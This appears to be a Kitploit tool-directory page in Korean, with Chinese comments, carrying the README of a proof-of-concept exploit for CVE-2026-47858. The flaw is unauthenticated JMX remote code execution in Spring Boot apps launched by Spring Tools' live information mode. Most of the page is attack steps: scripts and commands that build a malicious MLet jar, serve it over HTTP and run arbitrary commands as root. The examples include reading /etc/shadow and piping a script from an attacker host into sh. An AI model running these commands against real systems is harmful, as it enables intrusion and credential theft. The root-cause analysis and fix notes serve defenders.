Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-47858 — Spring Tools 라이브 정보 모드에서 MLet 원격 클래스 로딩을 사용하여 취약한 Spring Boot 애플리케이션에서 임의의 명령을 실행하는, 인증되지 않은 JMX RCE를 위한 개념 증명(PoC) 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Spring Tools 라이브 정보 모드에서 MLet 원격 클래스 로딩을 사용하여 취약한 Spring Boot 애플리케이션에서 임의의 명령을 실행하는, 인증되지 않은 JMX RCE를 위한 개념 증명(PoC) 익스플로잇입니다.

저장소 보기
282개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-47858 — Spring Tools live information 모드 미인증 JMX 원격 코드 실행(PoC)

English README | 취약점 공지: Spring Security Advisory | CVE Record

취약점: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0에서 live information 모드(기본 활성화)로 Spring Boot 애플리케이션을 시작하면, 애플리케이션에 인증 없음, TLS 없음, 모든 네트워크 인터페이스에 바인딩된 JMX 원격 파라미터를 주입합니다. 인접 네트워크의 공격자는 자격 증명 없이 해당 JMX MBeanServer에 연결할 수 있으며, MLet 원격 클래스 로딩을 통해 **직접 RCE(root 권한)**를 달성할 수 있습니다.

  • CWE-306 중요 기능에 대한 인증 누락
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • 수정 버전: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0(5 이전의 모든 버전도 영향을 받으며 지원되지 않음)

목차

  1. 근본 원인(소스 코드 증거)
  2. 빠른 재현(원클릭 스크립트)
  3. 취약점 익스플로잇 사용법(유연한 명령)
  4. 공격 원리: 직접 RCE, 역연결형 아님
  5. 테스트 매트릭스와 증거
  6. 수정 및 완화
  7. 저장소 구조
  8. 면책 조항

1. 근본 원인(소스 코드 증거)

영향받는 태그 5.2.0.RELEASE(== v2.2.0)와 수정 태그 5.3.0.RELEASE(== v2.3.0)를 비교:

취약 버전 eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

"-Dcom.sun.management.jmxremote",                  // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
"-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: 기본적으로 활성화됨, IDE에서 Boot 애플리케이션을 시작할 때마다 위 매개변수가 주입됩니다.
  • VSCode 확장 2.2.0(vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts)은 동일한 -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false를 주입합니다.

수정 버전 5.3.0:

  • 고정 포트 사용 시 -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true를 추가합니다(JMX는 루프백에만 바인딩).
  • 기본값(포트 0)일 때는 더 이상 com.sun.management.jmxremote* 매개변수를 전혀 주입하지 않으며, 대신 Attach API를 통해 프로세스 PID로 로컬에 연결합니다(VSCode 측도 동일하며, debug-config-provider.ts에서 원격 JMX 매개변수를 완전히 제거함).

주의: -Dcom.sun.management.jmxremote.port는 단독으로 존재하기만 해도 JMX agent를 활성화합니다(메인 스위치 com.sun.management.jmxremote 불필요). VSCode 변형도 마찬가지로 유효합니다.


2. 빠른 사용(두 개의 독립 스크립트)

스크립트는 완전히 분리되어 있습니다: setup-lab.sh는 환경 구축만 담당하고, attack.sh는 공격 및 악용만 담당합니다. 의존성: docker, JDK 17+(기본값 /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter(선택 사항).

2.1 첫 번째 단계: 환경 구축(setup-lab.sh)

./setup-lab.sh vuln          # 漏洞配置 (5.2.0 参数)   [默认]
./setup-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup       # 停止并删除容器与网络

자동 완료: 피해 Spring Boot 애플리케이션 빌드 → 격리된 docker 브리지 네트워크 생성(피해 컨테이너 172.22.0.x, 공격자는 호스트에 위치하여 인접 네트워크 시뮬레이션) → 해당 버전의 JVM 파라미터로 애플리케이션 시작 → JMX 리스닝 포트 표시 → 피해 머신 IP / JMX 포트 / 게이트웨이 출력. 피해 컨테이너는 계속 실행 상태를 유지하며, 바로 다음 단계 공격으로 진입할 수 있다.

2.2 두 번째 단계: 공격 이용(attack.sh)

./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000

利用 스크립트로 자동 완료: 악성 jar 컴파일 → mlet.txt 생성(명령은 <ARG>로 전달) → HTTP 서비스로 페이로드 제공 → 익스플로잇 실행. 페이로드는 명령만 실행하고 결과를 회신: 명령은 /bin/sh -c를 통해 피해 JVM 내에서 동기적으로 실행되며, 출력은 메모리에서 캡처된 후 익스플로잇 프로그램이 동일한 JMX 연결을 통해 Pwn.getOutput()을 호출하여 공격 측으로 가져와 직접 표시(종료 코드 포함), 대상 머신에는 어떤 파일도 기록하지 않음. 출력을 대상 머신에 남기고 싶다면 명령 내에서 직접 리다이렉션하면 됨(예: "id > /tmp/out.txt").

대조 실험: 먼저 ./setup-lab.sh vuln으로 공격 성공; 그다음 ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned로 공격 시 실패해야 함(JMX는 루프백만 허용).


3. 익스플로잇 사용법(유연한 명령)

3.1 원클릭 익스플로잇 attack.sh(권장)

명령은 완전히 구성 가능하며, 명령을 변경해도 아무것도 다시 컴파일할 필요 없음(명령은 MLET <ARG> 태그를 통해 전달되며, jar는 명령과 무관):

./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]

# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标

# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK

프로세스: 자동으로 evil.jar 컴파일 → 명령을 XML 이스케이프한 후 mlet.txt 생성 → HTTP 서비스를 시작하여 evil.jar + mlet.txt 제공 → JmxExploit 컴파일 및 실행. 페이로드는 명령을 실행하고 출력을 에코하는 역할만 하며, 대상 머신에 어떤 파일도 쓰지 않는다.

3.2 수동 단계별 실행

# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF

# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下

# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"

# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)

3.3 페이로드 및 출력 회수

  • Pwn은 DynamicMBean을 구현하며, 명령은 생성자에서 /bin/sh -c를 통해 동기적으로 실행됩니다(우선순위: MLET <ARG> 매개변수 > 피해 프로세스 환경 변수 CVE_PAYLOAD_CMD > 기본 명령 id; hostname; uname -a).
  • 출력 회수 가능, 디스크 기록 없음: 명령의 stdout/stderr는 Pwn에 의해 메모리로 캡처되며, 익스플로잇 프로그램은 로드 후 JMX를 통해 getOutput() / getExitCode()를 호출하여 출력과 종료 코드를 공격 측으로 가져와 표시합니다. 대상 머신에는 어떤 파일도 기록되지 않습니다(명령 자체의 부작용 제외). 대상 머신에도 동시에 출력을 보존하려면 명령 내에서 직접 리다이렉션하십시오("id > /tmp/out.txt" 또는 "id 2>&1 | tee /app.log").

왜 <ARG>를 사용하는가? JDK MLetParser는 <ARG>만 인식하며(<PARAM>은 조용히 무시됨), TYPE/VALUE는 모두 필수입니다. 또한 MLet 파서는 HTML 주석을 처리하지 않으므로 mlet.txt에 불필요한 <...> 텍스트가 있어서는 안 됩니다.


4. 공격 원리: 직접 RCE, 역연결형 아님

攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090)       ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口)          ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null)           ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...)     ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar         ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>")    ← 命令在受害进程内直接执行
  • 직접 실행: 명령은 피해 JVM 내에서 동기적으로 실행되며, getMBeansFromURL이 반환될 때 명령이 이미 완료된 상태입니다(출력은 이미 피해 애플리케이션의 로그/콘솔에 기록됨).
  • 비역연결형: JNDI/LDAP/RMI 역연결이 필요 없습니다. 고전적 역연결(Log4Shell/JRMPListener형)은 피해 프로세스가 능동적으로 공격자의 LDAP/RMI 서비스에 역접속하는 방식입니다. 본 공격은 그 반대로, 공격자가 전 과정에서 능동적으로 피해자의 JMX 서비스에 접속하여 실행을 유도합니다.
  • 유일한 피해자→공격자 트래픽은 일반 HTTP GET(페이로드 jar 다운로드, 즉 악성 class를 대상 머신에 전달하는 것)이며, 역연결 셸을 구성하지도 않고 연결 유지를 요구하지도 않습니다.
  • 우회 설명: 취약점 파라미터의 -Djava.rmi.server.hostname=localhost는 RMI stub이 "localhost"만 통지하도록 할 뿐입니다(기본 클라이언트는 자신의 루프백에 연결을 시도하여 실패하며, NaiveJmxClient로 재현 가능). JmxExploit은 리플렉션으로 stub의 TCPEndpoint 호스트를 실제 IP로 재작성하면 우회할 수 있습니다(Metasploit java_jmx_server 등 기존 도구로도 동일하게 우회 가능).

5. 테스트 매트릭스와 증거

구성JMX 리스닝원격 비인가 연결RCE
5.2.0 취약 버전(Eclipse 파라미터)*:19090 등(0.0.0.0)✅(stub 호스트 재작성으로 localhost 우회)✅ root
5.2.0 취약 버전(VSCode 2.2.0 파라미터)*:19090(0.0.0.0)✅✅
5.3.0 수정 버전(고정 포트)127.0.0.1만❌ 연결 거부됨❌
5.3.0 수정 버전(기본 auto)JMX 포트 없음❌❌

실측 증거(공격 측 직접 에코, 대상 머신 파일 제로):

도구 다운로드